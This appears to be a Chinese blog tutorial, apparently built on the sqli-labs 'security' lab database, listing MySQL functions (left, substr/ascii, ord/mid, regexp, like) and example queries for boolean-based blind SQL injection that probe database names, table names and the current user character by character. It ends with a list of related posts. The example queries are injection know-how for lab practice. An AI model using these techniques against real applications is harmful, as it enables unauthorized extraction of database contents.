一、left()

首先需要 use security;  这个数据库,然后进入之后再使用查询语句:

此时再使用:

select left(database(),1)='s';   #该语句表示database()显示数据库名称后,left(a,b)从左侧截取a的前b位,若为s则显示1,若大于或小于s则显示0

即可成功查询

二、substr()与ascii()

ascii(substr(a,b,c));是指从a的b位开始截取c长度,在注入中,c一般均为1;而ascii()则表示将某个字符转换为ascii值

select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

这句话的意思是:从所有库中查询出当前库——>database()——>security,再从security表中limit 0,1 即为第一个表,取该表的第一位,即 substr(a,b,c)第一位的第一个字符,查看其ascii值是否为101,是的话显示 1,不是显示0。

这样的用法不仅可用于查询表名,还可以用于查询库名:

select ascii(substr((select database()),1,1))=115;

意为查询当前数据库中的第一位是否为‘s’;

三、ord()与mid()

对当前数据库——security中第一个表emails取第一位,大于98返回1,大于101返回0,等于101返回1,即为101:

 select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

mid(a,b,c)从位置b开始,截取a字符串的c位

ord()函数与ascii()函数类似,将字符转为ascii值

四、regexp正则

数据库执行user(),结果为:

正则可匹配当前的用户名是否为:root,是则返回1,不是则返回0:

select user() regexp '^ro';

五、一些实例正则使用:

(1)使用user()作为基底来做判断——>当前用户是否为root@locaihost,是则查出id为1的用户的账号密码,不是则返回0,由于是使用and进行连接,故查询的结果为空。

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

(2) 下面的语句是(1)的简化,一样的使用1的返回值来判断查询语句是否可以执行成功:

select * from users where id=1 and 1=(user() regexp'^r');

(3)查询在security库中是否存在us开头的表名:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

六、like

'%a'     //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据

使用like做匹配注入:存在返回 1,不存在返回 0,%作为一个模糊匹配

mysql内一些可以布尔盲注的查询语句的更多相关文章

  1. mysql内一些可以报错注入的查询语句

        一.exp() 取反参数 该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0 这样既可配合使用,e ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...

  4. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

  5. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  6. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  7. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  8. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  9. python dvwa布尔盲注自动化脚本(level=low)

    仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...

随机推荐

  1. JavaScript——内置对象

  2. 牛客算法周周练20 F.紫魔法师 (二分图染色)

    题意:给你一张图,对其染色,使得相连的点的颜色两两不同求,最少使用多少种颜色. 题解:首先,若\(n=1\),只需要一种.然后我们再去判断是否是二分图,对于二分图,两种颜色就够了,若不是二分图,也就是 ...

  3. Codeforces Round #527 (Div. 3) C. Prefixes and Suffixes (思维,字符串)

    题意:给你某个字符串的\(n-1\)个前缀和\(n-1\)个后缀,保证每个所给的前缀后缀长度从\([1,n-1]\)都有,问你所给的子串是前缀还是后缀. 题解:这题最关键的是那两个长度为\(n-1\) ...

  4. PowerShell随笔8 --- function

    为了脚本逻辑的重复使用,我们更多时候会封装成方法.PowerShell的function和C#.JavaScript的定义有些区别. 我们直接看例子: 可以看到,定义方法并不是这样的: functio ...

  5. .NET 5学习笔记(10)——Entity Framework Core之切换SQLServer和SQLite

    上一篇我们梳理了CodeFist的一般流程,本篇我们讨论如何在一套代码中,支持SQL Server和SQLite的切换.同时从本篇开始,我们从.NET Core 3.1 迁移到.NET 5.相信.NE ...

  6. Git 初始化及仓库创建及操作

    一.基本信息设置 1.初始化设置用户名 2.初始化设置用户名邮箱 备注:该设置在Github仓库主页显示谁提交了该文件. 二.初始化一个新的Git仓库 1.创建文件夹 mkdir test 2.在文件 ...

  7. 给你的SpringBoot项目定制一个牛年专属banner吧

    新春快乐,牛年大吉! 新的一年是牛年,在SpringBoot项目里自定义了一个牛年相关的banner,看起来可真不错. 上面是自己制作的一个banner,相关的ASCII字符在文末. SpringBo ...

  8. 008.NET5_IIS安装教程

    控制面板->程序->启动或关闭Windows功能

  9. Bazinga means

    Bazinga means Bazinga https://www.dictionary.com/e/slang/bazinga/ refs xgqfrms 2012-2020 www.cnblogs ...

  10. Flutter for Desktop

    Flutter for Desktop https://flutter.dev/desktop https://github.com/flutter/flutter/wiki/Desktop-shel ...